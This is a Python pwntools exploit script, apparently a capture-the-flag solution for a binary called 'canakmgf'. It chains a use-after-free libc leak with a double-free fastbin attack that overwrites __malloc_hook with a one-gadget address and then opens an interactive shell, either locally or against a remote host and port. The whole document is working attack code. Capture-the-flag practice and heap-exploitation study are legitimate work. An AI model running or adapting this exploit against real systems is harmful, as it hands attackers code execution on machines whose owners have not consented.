from pwn import *

def alloc(size, data):

    r.sendlineafter('away\n', '1')
    r.sendlineafter('Length? ', str(size))
    r.sendline(data)

    return

def free(idx):

    r.sendlineafter('away\n', '3')
    r.sendlineafter('Num? ', str(idx))

    return

def dump(idx):

    r.sendlineafter('away\n', '4')
    r.sendlineafter('Num? ', str(idx))

    return u64(r.recv(6).ljust(8, '\x00'))

def pwn():

    alloc(0x100, 'A'*10) # chunk 0
    alloc(0x100, 'B'*10) # chunk 1

    free(0)
    
    # Abusing UAF in order to print the main_arena
    # pointer and calculate libc's base address
    leak        = dump(0)
    libc        = leak - 0x3c17b8
    malloc_hook = libc + 0x3c1740
    one_shot    = libc + 0xef6c4

    log.info("Leak:          0x{:x}".format(leak))
    log.info("Libc:          0x{:x}".format(libc))
    log.info("__malloc_hook: 0x{:x}".format(malloc_hook))
    
    alloc(0x68, 'C'*10) # chunk 2
    alloc(0x68, 'D'*10) # chunk 3
    # Prevent consolidation
    alloc(0x80, 'E'*10) # chunk 4
        
    # Abusing double-free to perform fastbin attack
    free(3)
    free(2)
    free(3)

    payload = p64(malloc_hook - 0x23)

    alloc(0x68, payload)
    alloc(0x68, 'F'*10)
    alloc(0x68, 'G'*10)
   
    payload  = ''
    payload  = payload.ljust(0x13, 'A')
    payload += p64(one_shot)

    alloc(0x68, payload)
    
    r.sendline("3")
    r.sendline(str(0x68)) 

    r.interactive()

if __name__ == "__main__":
    log.info("For remote: %s HOST PORT" % sys.argv[0])
    if len(sys.argv) > 1:
        r = remote(sys.argv[1], int(sys.argv[2]))
        pwn()
    else:
        r = process('./canakmgf')
        pause()
        pwn()
